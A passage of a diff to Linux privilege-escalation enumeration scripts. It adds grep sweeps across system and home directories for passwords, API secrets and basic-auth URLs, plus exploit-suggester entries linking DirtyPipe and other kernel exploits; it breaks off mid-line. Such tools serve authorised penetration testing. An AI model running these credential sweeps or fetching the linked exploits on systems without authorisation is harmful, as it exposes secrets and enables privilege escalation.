"[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}~${SED_RED}~" & +print_3title_no_nl "Searching Twitter Secret Key (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "[tT][wW][iI][tT][tT][eE][rR](.{0,20})?['\"][0-9a-z]{35,44}" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' print_2title "Searching Misc" -print_3title "Searching Basic Auth (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~//(.+):(.+)@~${SED_RED}~" & +print_3title_no_nl "Searching Basic Auth (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "//(.+):(.+)@" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Passwords1 (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)~${SED_RED}~" & +print_3title_no_nl "Searching Passwords1 (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait -print_3title "Searching Usernames (limited to 50)" -timeout 120 find $HOMESEARCH -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /etc -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /opt -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /tmp -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /private -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /Applications -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /var/www -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /var/log -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /private/var/log -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find /usr/local/www/ -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & -timeout 120 find $backup_folders_row -type f -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 | sed -${E} "s~username.*[=:].+~${SED_RED}~" & +print_3title_no_nl "Searching Usernames (limited to 50)..." +if [ "$SEARCH_IN_FOLDER" ]; then + timeout 120 find "$ROOT_FOLDER" -type f -not -path "*/node_modules/*" -exec grep -HnRiIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +else + timeout 120 find $HOMESEARCH -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /etc -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /opt -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /tmp -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /Applications -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/www -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /private/var/log -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find /usr/local/www/ -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & + timeout 120 find $backup_folders_row -type f -not -path "*/node_modules/*" -exec grep -HnRIE "username.*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | head -n 50 & +fi wait echo '' +else + echo "Regexes to search for API keys aren't activated, use param '-r' " fi fi echo '' diff --git a/linux-exploit-suggester.sh b/linux-exploit-suggester.sh index 51582ce..42b7768 100755 --- a/linux-exploit-suggester.sh +++ b/linux-exploit-suggester.sh @@ -1,7 +1,7 @@ #!/bin/bash # -# Copyright (c) 2016-2020, @_mzet_ +# Copyright (c) 2016-2022, @_mzet_ # # linux-exploit-suggester.sh comes with ABSOLUTELY NO WARRANTY. # This is free software, and you are welcome to redistribute it @@ -930,6 +930,44 @@ author: theflow (orginal exploit author); bcoles (author of exploit update at 'e EOF ) +EXPLOITS[((n++))]=$(cat <=5.8,ver<=5.16.11 +Tags: ubuntu=(20.04|21.04),debian=11 +Rank: 1 +analysis-url: https://dirtypipe.cm4all.com/ +src-url: https://haxx.in/files/dirtypipez.c +exploit-db: 50808 +author: blasty (original exploit author: Max Kellermann) +EOF +) + +EXPLOITS[((n++))]=$(cat <=3.16,CONFIG_USER_NS=y,sysctl:kernel.unprivileged_userns_clone==1 +Tags: ubuntu=(20.04){kernel:5.12.13} +Rank: 1 +analysis-url: https://www.openwall.com/lists/oss-security/2022/08/29/5 +src-url: https://www.openwall.com/lists/oss-security/2022/08/29/5/1 +Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN) +author: vulnerability discovery: Team Orca of Sea Security; Exploit author: Alejandro Guerrero +EOF +) + +EXPLOITS[((n++))]=$(cat < # GitHub: https://github.com/diego-treitos/linux-smart-enumeration # -lse_version="3.10" +lse_version="4.10nw" -#( Colors +##( Colors # -# fg +#( fg red='\e[31m' lred='\e[91m' green='\e[32m' @@ -26,8 +26,8 @@ grey='\e[90m' lgrey='\e[37m' white='\e[97m' black='\e[30m' -# -# bg +##) +#( bg b_red='\e[41m' b_lred='\e[101m' b_green='\e[42m' @@ -44,8 +44,8 @@ b_grey='\e[100m' b_lgrey='\e[47m' b_white='\e[107m' b_black='\e[40m' -# -# special +##) +#( special reset='\e[0;0m' bold='\e[01m' italic='\e[03m' @@ -59,13 +59,13 @@ underline_off='\e[24m' inverse_off='\e[27m' conceil_off='\e[28m' crossedout_off='\e[29m' +##) #) -#( Globals +##( Globals # # user -lse_user_id="$UID" -[ -z "$lse_user_id" ] && lse_user_id="`id -u`" +lse_user_id="`id -u`" lse_user="$USER" [ -z "$lse_user" ] && lse_user="`id -nu`" lse_pass="" @@ -77,7 +77,8 @@ lse_arch="`uname -m`" lse_linux="`uname -r`" lse_hostname="`hostname`" lse_distro=`command -v lsb_release >/dev/null 2>&1 && lsb_release -d | sed 's/Description:\s*//' 2>/dev/null` -[ -z "$lse_distro" ] && lse_distro="`(source /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" +[ -z "$lse_distro" ] && lse_distro="`(. /etc/os-release && echo "$PRETTY_NAME")2>/dev/null`" +lse_distro_codename="" # retrieved below with lse_get_distro_codename # lse lse_passed_tests="" @@ -85,11 +86,12 @@ lse_executed_tests="" lse_DEBUG=false lse_procmon_data=`mktemp` lse_procmon_lock=`mktemp` +lse_cve_tmp='' # printf printf "%s" "$reset" | grep -q '\\' && alias printf="env printf" -# internal data +#( internal data lse_common_setuid=" /bin/fusermount /bin/mount @@ -176,12 +178,14 @@ lse_common_setuid=" /usr/sbin/usernetctl /usr/sbin/uuidd " -#regex rules for common setuid +#) +#( regex rules for common setuid lse_common_setuid="$lse_common_setuid /snap/core.* /var/tmp/mkinitramfs.* " -#critical writable files +#) +#( critical writable files lse_critical_writable=" /etc/apache2/apache2.conf /etc/apache2/httpd.conf @@ -235,8 +239,13 @@ lse_critical_writable_dirs=" /root " #) +#( CVE list (populated by the lse packager) +lse_cve_list=" +" #CVElistMARKER +#) +#) -#( Options +##( Options lse_color=true lse_alt_color=false lse_interactive=true @@ -247,16 +256,16 @@ lse_find_opts='-path /proc -prune -o -path /sys -prune -o -path /dev -prune -o' lse_grep_opts='--color=always' #) -#( Lib -cecho() { +##( Lib +cecho() { #( if $lse_color; then printf "%b" "$@" else # If color is disabled we remove it printf "%b" "$@" | sed 's/\x1B\[[0-9;]\+[A-Za-z]//g' fi -} -lse_recolor() { +} #) +lse_recolor() { #( o_white="$white" o_lyellow="$lyellow" o_grey="$grey" @@ -270,11 +279,11 @@ lse_recolor() { lred="$red" lgreen="$b_lgreen$black" lcyan="$cyan" -} -lse_error() { +} #) +lse_error() { #( cecho "${red}ERROR: ${reset}$*\n" >&2 -} -lse_exclude_paths() { +} #) +lse_exclude_paths() { #( local IFS=" " for p in `printf "%s" "$1" | tr ',' '\n'`; do @@ -282,8 +291,8 @@ lse_exclude_paths() { p="${p%%/}" lse_find_opts="$lse_find_opts -path ${p} -prune -o" done -} -lse_set_level() { +} #) +lse_set_level() { #( case "$1" in 0|1|2) lse_level=$(($1)) @@ -293,8 +302,8 @@ lse_set_level() { exit 1 ;; esac -} -lse_help() { +} #) +lse_help() { #( echo "Use: $0 [options]" echo echo " OPTIONS" @@ -319,6 +328,7 @@ lse_help() { echo " pro: Processes related tests." echo " sof: Software related tests." echo " ctn: Container (docker, lxc) related tests." + echo " cve: CVE related tests." echo " Specific tests can be used with their IDs (i.e.: usr020,sud)" echo " -e PATHS Comma separated list of paths to exclude. This allows you" echo " to do faster scans at the cost of completeness" @@ -326,8 +336,8 @@ lse_help() { echo " processes. A value of 0 will disable any watch (default: 60)" echo " -S Serve the lse.sh script in this host so it can be retrieved" echo " from a remote host." -} -lse_ask() { +} #) +lse_ask() { #( local question="$1" # We use stderr to print the question cecho "${white}${question}: ${reset}" >&2 @@ -341,24 +351,24 @@ lse_ask() { return 1 ;; esac -} -lse_request_information() { +} #) +lse_request_information() { #( if $lse_interactive; then cecho "${grey}---\n" [ -z "$lse_user" ] && lse_user=`lse_ask "Could not find current user name. Current user?"` lse_pass=`lse_ask "If you know the current user password, write it here to check sudo privileges"` cecho "${grey}---\n" fi -} -lse_test_passed() { +} #) +lse_test_passed() { #( # Checks if a test passed by ID local id="$1" for i in $lse_passed_tests; do [ "$i" = "$id" ] && return 0 done return 1 -} -lse_test() { +} #) +lse_test() { #( # Test id local id="$1" # Minimum level required for this test to show its output @@ -394,8 +404,8 @@ lse_test() { # Print name and line cecho "${white}[${l}${white}] ${grey}${id}${white} $name${grey}" - for i in $(seq $((${#name}+4)) 67); do - echo -n "." + for i in $(seq $((${#id}+${#name}+10)) 79); do + printf "." done # Check dependencies @@ -445,8 +455,8 @@ lse_test() { fi return 0 fi -} -lse_show_info() { +} #) +lse_show_info() { #( echo cecho "${lcyan} LSE Version:${reset} $lse_version\n" echo @@ -470,12 +480,14 @@ lse_show_info() { fi cecho "${lblue}Architecture:${reset} $lse_arch\n" echo -} -lse_serve() { + cecho "${green}=====================(${yellow} Current Output Verbosity Level: ${cyan}$lse_level ${green})======================${reset}" + echo +} #) +lse_serve() { #( # get port which nc >/dev/null || lse_error "Could not find 'nc' netcat binary." - local_ips="`ip a | 